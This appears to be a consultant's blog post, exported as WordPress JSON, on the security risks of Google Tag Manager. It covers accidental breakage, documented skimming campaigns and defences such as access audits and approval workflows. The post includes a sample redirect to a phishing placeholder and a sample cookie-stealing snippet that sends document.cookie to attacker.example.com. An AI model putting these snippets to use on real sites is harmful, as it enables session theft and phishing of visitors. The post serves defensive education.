{"id":979,"date":"2026-05-06T11:45:38","date_gmt":"2026-05-06T09:45:38","guid":{"rendered":"https:\/\/www.sabatka.net\/cs\/?p=979"},"modified":"2026-05-06T11:45:40","modified_gmt":"2026-05-06T09:45:40","slug":"gtm-security-risks","status":"publish","type":"post","link":"https:\/\/www.sabatka.net\/en\/gtm-security-risks\/","title":{"rendered":"How to Break a Website Using Google Tag Manager"},"content":{"rendered":"\n<p>Google Tag Manager runs on over 30 million websites. It\u2019s one of the most widely used tools for managing tracking and marketing scripts. Marketers love it \u2014 you can add a tag in 2 minutes, no developer needed, no deploy required.<\/p>\n\n\n\n<p>But GTM is essentially a <strong>script injector with a graphical interface<\/strong>.<\/p>\n\n\n\n<p>What does that mean?<\/p>\n\n\n\n<p>Anyone with Publish access to a container can inject arbitrary JavaScript into your website. No code review. And the visitor\u2019s browser will dutifully execute it.<\/p>\n\n\n\n<p>This isn\u2019t a theoretical risk. Over the years, I\u2019ve dealt with consequences ranging from broken tracking and non-functional websites to actual security incidents. This article shows what can go wrong. And how to prevent it.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button scroll_to_subscribe\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.sabatka.net\/en\/kontakt\/\">Contact me<\/a><\/div>\n\n\n\n<div class=\"wp-block-button linkedinShare\"><a class=\"wp-block-button__link wp-element-button\">Share on LinkedIN<\/a><\/div>\n<\/div>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Negligence \u2014 How to Break Your Site by Accident<\/h2>\n\n\n\n<p>Most GTM problems don\u2019t come from attacks. They come from someone adding a tag without proper testing. Or without thinking through all the implications.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">JavaScript Conflicts<\/h3>\n\n\n\n<p>GTM tags run in the same execution context as the rest of the page. It\u2019s easy to accidentally break a developer\u2019s carefully crafted frontend. Common issues:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A script overwrites a global variable or prototype that other code depends on<\/li>\n\n\n\n<li>A tag calls <code>stopPropagation()<\/code> or <code>preventDefault()<\/code>, blocking events for other handlers<\/li>\n\n\n\n<li>A heavy script (heatmap, session recording) blocks the main thread and the page becomes unresponsive<\/li>\n\n\n\n<li>A tag modifies DOM elements that the page\u2019s framework (React, Vue) relies on<\/li>\n<\/ul>\n\n\n\n<p>Rule of thumb: test every new tag on the actual website \u2014 not just in GTM Preview mode, but in the context of the entire page framework.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Silent Data Loss<\/h3>\n\n\n\n<p>A tag stops working \u2014 the vendor changes their script domain, the script throws an error, CSP blocks it. But since GTM tags fail silently (no error message for the user), nobody notices. You find out weeks later when you look at your data and see a gap you can\u2019t backfill.<\/p>\n\n\n\n<p>From a business perspective, this is the most expensive type of error. You\u2019re making decisions based on data that doesn\u2019t exist. And you don\u2019t even know it.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Infinite Loops<\/h3>\n\n\n\n<p>Imagine this scenario: you set up a tag to track JavaScript errors. The tag fires on error. But the tag itself throws an error (maybe because its destination domain is blocked). That triggers the tag again. And again. And again \u2014 until the browser freezes or the tab crashes.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Dead Domain Takeover \u2014 A Story from the Field<\/h3>\n\n\n\n<p>I dealt with a case where a client had added a GTM tag from a small analytics platform. The platform eventually shut down and let its domain expire. Someone bought the domain and started serving malicious scripts from it.<\/p>\n\n\n\n<p>Result: GTM on the client\u2019s website kept loading the tag pointing to that domain. Visitors\u2019 browsers downloaded and executed the attacker\u2019s code \u2014 through a legitimate GTM container, on a legitimate website.<\/p>\n\n\n\n<p>Nobody noticed for about a month. The tag had been in the container \u201cforever,\u201d nobody knew what it did, and nobody checked whether the platform still existed.<\/p>\n\n\n\n<p>After a month, the script started redirecting the website to a completely different domain. Panic ensued.<\/p>\n\n\n\n<p><strong>Lesson:<\/strong> Dead tags in GTM aren\u2019t just clutter. They\u2019re a security risk. Every third-party script is a dependency \u2014 and dependencies die.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Intent \u2014 What Someone with GTM Access Can Do<\/h2>\n\n\n\n<p>Everything above happened by accident. Now let\u2019s look at what happens when someone <strong>wants<\/strong> to cause damage. All they need is Publish access to a GTM container and a Custom HTML tag.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Redirecting Visitors<\/h3>\n\n\n\n<p>The simplest attack \u2014 one line of JavaScript:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>window.location.href = '<https:\/\/phishing-site.example.com\/>';<\/code><\/pre>\n\n\n\n<p>Every visitor immediately lands on the attacker\u2019s page. Phishing, malware downloads, anything.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Page Defacement<\/h3>\n\n\n\n<p>An attacker can inject arbitrary HTML into the page \u2014 images, fake forms, fake payment gateways. The visitor won\u2019t notice the difference because they\u2019re still on the legitimate domain.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Session and Cookie Theft<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>var img = document.createElement('img');\nimg.src = '<https:\/\/attacker.example.com\/steal?c=>' \n  + encodeURIComponent(document.cookie);\ndocument.body.appendChild(img);<\/code><\/pre>\n\n\n\n<p>An invisible image sends all cookies to the attacker\u2019s server. If that includes a session token, the attacker logs in as an admin \u2014 without knowing the password.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Payment Data Theft (Magecart)<\/h3>\n\n\n\n<p>A more sophisticated variant: the attacker uses GTM to inject JavaScript that overlays the real checkout form with a fake one. The customer enters their card number \u2014 the data goes to both the attacker and the legitimate payment gateway. The customer notices nothing. The merchant notices nothing. The bank catches it months later.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Real Attacks \u2014 Not Theory, Practice<\/h2>\n\n\n\n<p>These aren\u2019t hypothetical scenarios. They\u2019re documented cases.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Magecart on Magento Stores (2025)<\/h3>\n\n\n\n<p>Security firm <a href=\"https:\/\/thehackernews.com\/2025\/02\/hackers-exploit-google-tag-manager-to.html\" target=\"_blank\" rel=\"noopener\">Sucuri discovered malware<\/a> hidden in GTM container <strong>GTM-MLHK2N68<\/strong> on Magento e-commerce sites. The payload was stored in the <code>cms_block.content<\/code> database table \u2014 Base64-encoded JavaScript disguised as a legitimate Google Analytics script.<\/p>\n\n\n\n<p>In reality, it was a script stealing payment data from checkout forms.<\/p>\n\n\n\n<p>Numbers from <a href=\"https:\/\/www.recordedfuture.com\/research\/threat-actors-continue-to-abuse-google-tag-manager-for-payment-card-e-skimming\" target=\"_blank\" rel=\"noopener\">Recorded Future<\/a>: <strong>165,000+ payment card records<\/strong> linked to GTM attacks ended up on the dark web. <strong>569 e-commerce domains<\/strong> infected with malicious scripts spread through GTM. Average time before the merchant notices and fixes the problem: <strong>over 3 months<\/strong>.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">GrelosGTM Campaign (2020+)<\/h3>\n\n\n\n<p><a href=\"https:\/\/www.group-ib.com\/blog\/grelosgtm\/\" target=\"_blank\" rel=\"noopener\">Group-IB analysts identified<\/a> an organized group called GrelosGTM. The attackers injected references to their own GTM container (<strong>GTM-5SF293J<\/strong>) into compromised websites\u2019 source code. The container loaded the next attack stage from the attacker\u2019s server.<\/p>\n\n\n\n<p>The elegance of the attack: a GTM container is a legitimate Google service. Security tools don\u2019t block it by default.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Container Hijacking \u2014 Multi-Site Cloaking<\/h3>\n\n\n\n<p>An attacker stole a legitimate website\u2019s GTM container ID and embedded it on a network of spam domains. Result: the legitimate site\u2019s analytics data was polluted with fake traffic, SEO was damaged by association with toxic domains, and the site\u2019s content was scraped.<\/p>\n\n\n\n<p>The client only noticed thanks to a \u201cContainer quality: Needs Attention\u201d warning in the GTM interface.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Bypassing WAF and CSP via GTM (Raxis)<\/h3>\n\n\n\n<p>Security firm <a href=\"https:\/\/raxis.com\/blog\/bypassing-waf-and-csp-with-google-tag-manager\/\" target=\"_blank\" rel=\"noopener\">Raxis demonstrated an attack<\/a> combining an XSS vulnerability with GTM:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Attacker finds an XSS vulnerability on the website<\/li>\n\n\n\n<li>Injects a reference to <strong>their own<\/strong> GTM container with a Custom HTML tag containing malicious code<\/li>\n\n\n\n<li>The payload lives on <code>googletagmanager.com<\/code> \u2014 the WAF doesn\u2019t flag it, CSP allows it (because Google is on the allowlist)<\/li>\n\n\n\n<li>Malicious code executes in the page context \u2014 full access to cookies, session tokens, DOM<\/li>\n<\/ol>\n\n\n\n<p>Google acknowledged it as an \u201chonorable mention\u201d in the Bug Bounty program. There\u2019s no fix \u2014 this is by design. GTM is a JavaScript hosting platform, and Google operates it intentionally.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Who Has the Keys to Your Website?<\/h2>\n\n\n\n<p>After reading the sections above, one thing should be clear: <strong>whoever has Publish access to your GTM container has de facto root access to your website<\/strong> from the visitor\u2019s perspective.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">GTM Roles and What They Mean<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Administrator<\/strong> \u2014 full control, can add\/remove users<\/li>\n\n\n\n<li><strong>Publish<\/strong> \u2014 can push changes to the live site. This is the critical role.<\/li>\n\n\n\n<li><strong>Approve<\/strong> \u2014 can approve changes but not publish (useful for approval workflows)<\/li>\n\n\n\n<li><strong>Edit<\/strong> \u2014 can modify tags but not publish<\/li>\n\n\n\n<li><strong>Read<\/strong> \u2014 view only<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Where Problems Arise<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Agencies and freelancers<\/strong> \u2014 the engagement ended a year ago, access remains<\/li>\n\n\n\n<li><strong>Former employees<\/strong> \u2014 the marketer left, nobody revoked their account<\/li>\n\n\n\n<li><strong>Vendor requests<\/strong> \u2014 \u201cGive us GTM access, we\u2019ll set up your pixel.\u201d You hand them Publish and forget.<\/li>\n\n\n\n<li><strong>Shared accounts<\/strong> \u2014 one Google account for the entire marketing team. Who published what? Nobody knows.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">A Simple Test<\/h3>\n\n\n\n<p>Open GTM \u2192 Admin \u2192 User Management. How many people do you see? How many of them still work with you? How many actually need Publish access?<\/p>\n\n\n\n<p>If the answer to any of these is \u201cI don\u2019t know\u201d \u2014 you have a problem.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">How to Defend Yourself<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1. Access Audit<\/h3>\n\n\n\n<p>At least once a quarter, review the user list in GTM. Remove inactive accounts. Downgrade permissions where Publish isn\u2019t needed.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">2. Approval Process<\/h3>\n\n\n\n<p>GTM supports Workspaces (even in the free version) and formal approval mode in the paid GTM 360 version. Even without 360, you can set an internal rule: no tag goes live without a second pair of eyes. Yes, it slows the process by hours. No, that\u2019s not an argument against \u2014 it\u2019s an argument for.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">3. Templates Over Custom HTML<\/h3>\n\n\n\n<p>A Custom HTML tag = arbitrary JavaScript with no restrictions. Templates from the Community Template Gallery run in a sandboxed environment with a defined API (<code>sendPixel<\/code>, <code>injectScript<\/code>, <code>setCookie<\/code>). Minimize Custom HTML. Ideally, eliminate it.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">4. Versioning and Naming<\/h3>\n\n\n\n<p>GTM keeps version history. Name each version clearly (not \u201cv47\u201d but \u201cAdded Meta CAPI tag \u2014 approved by Pavel\u201d). During an incident, this lets you roll back to the last working version in minutes.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">5. Dead Tags = Dead Dependencies<\/h3>\n\n\n\n<p>Regularly review your container. If a tag points to a domain that doesn\u2019t respond or whose service no longer exists \u2014 delete it. Don\u2019t just pause. Delete.<\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">6. Content Security Policy<\/h3>\n\n\n\n<p>An HTTP header that tells the browser which scripts are allowed to run on the page. It\u2019s the technically strongest defense \u2014 but also the most complex to configure correctly alongside GTM. <strong>Details in the follow-up article.<\/strong><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">7. Monitoring<\/h3>\n\n\n\n<p>Track GTM change history. Set up alerts for new container versions. If you have CSP, monitor violation reports \u2014 they\u2019ll show you what\u2019s trying to run without permission.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:33.33%\">\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"1024\" height=\"1024\" data-src=\"https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know.png\" alt=\"\" class=\"wp-image-936 lazyload\" data-srcset=\"https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know.png 1024w, https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know-300x300.png 300w, https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know-150x150.png 150w, https:\/\/www.sabatka.net\/wp-content\/uploads\/2026\/04\/null-did-you-know-768x768.png 768w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/1024;\" \/><\/figure>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:66.66%\">\n<h3 class=\"wp-block-heading\"><strong>Lab note<\/strong><\/h3>\n\n\n\n<p>It\u2019s a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Dual-use_technology\" target=\"_blank\" rel=\"noopener\">dual-use problem<\/a> \u2014 the same research that develops vaccines can create biological weapons. GTM is designed for managing measurement. But in an attacker\u2019s hands, it\u2019s a script injector with a trusted address \u2014 <code>googletagmanager.com<\/code> \u2014 that firewalls and security policies allow by default.<\/p>\n<\/div>\n<\/div>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p>GTM isn\u2019t dangerous by itself. It\u2019s dangerous without oversight \u2014 without access audits, without an approval process, without dead tag cleanup.<\/p>\n\n\n\n<p><strong>Practical first step:<\/strong> open GTM \u2192 Admin \u2192 User Management. Look at who\u2019s there. How many of those people actually need the right to publish code to your website?<\/p>\n\n\n\n<p>Second step: review your Custom HTML tags. Do you know what each one does? Does the domain it loads scripts from still exist?<\/p>\n\n\n\n<p>And if you want to know how to reconcile GTM with your website\u2019s Content Security Policy so that tracking works and the site stays protected \u2014 read the follow-up article [GTM vs. CSP].<\/p>\n\n\n\n<p>Need help with a GTM audit or setting up secure tracking? <a href=\"https:\/\/www.sabatka.net\/en\/kontakt\/\">Get in touch<\/a> \u2014 let\u2019s go through it together.<\/p>\n\n\n\n<div style=\"height:50px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button scroll_to_subscribe\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.sabatka.net\/en\/kontakt\/\">Contact me<\/a><\/div>\n\n\n\n<div class=\"wp-block-button linkedinShare\"><a class=\"wp-block-button__link wp-element-button\">Share on LinkedIN<\/a><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Google Tag Manager runs on over 30 million websites. It\u2019s one of the most widely used tools for managing tracking and marketing scripts. Marketers love it \u2014 you can add a tag in 2 minutes, no developer needed, no deploy required. But GTM is essentially a script injector with a graphical interface. What does that [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":984,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9,10],"tags":[],"class_list":["post-979","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-digitalni-analytika","category-gtm"],"_links":{"self":[{"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/posts\/979","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/comments?post=979"}],"version-history":[{"count":3,"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/posts\/979\/revisions"}],"predecessor-version":[{"id":983,"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/posts\/979\/revisions\/983"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/media\/984"}],"wp:attachment":[{"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/media?parent=979"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/categories?post=979"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sabatka.net\/en\/wp-json\/wp\/v2\/tags?post=979"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}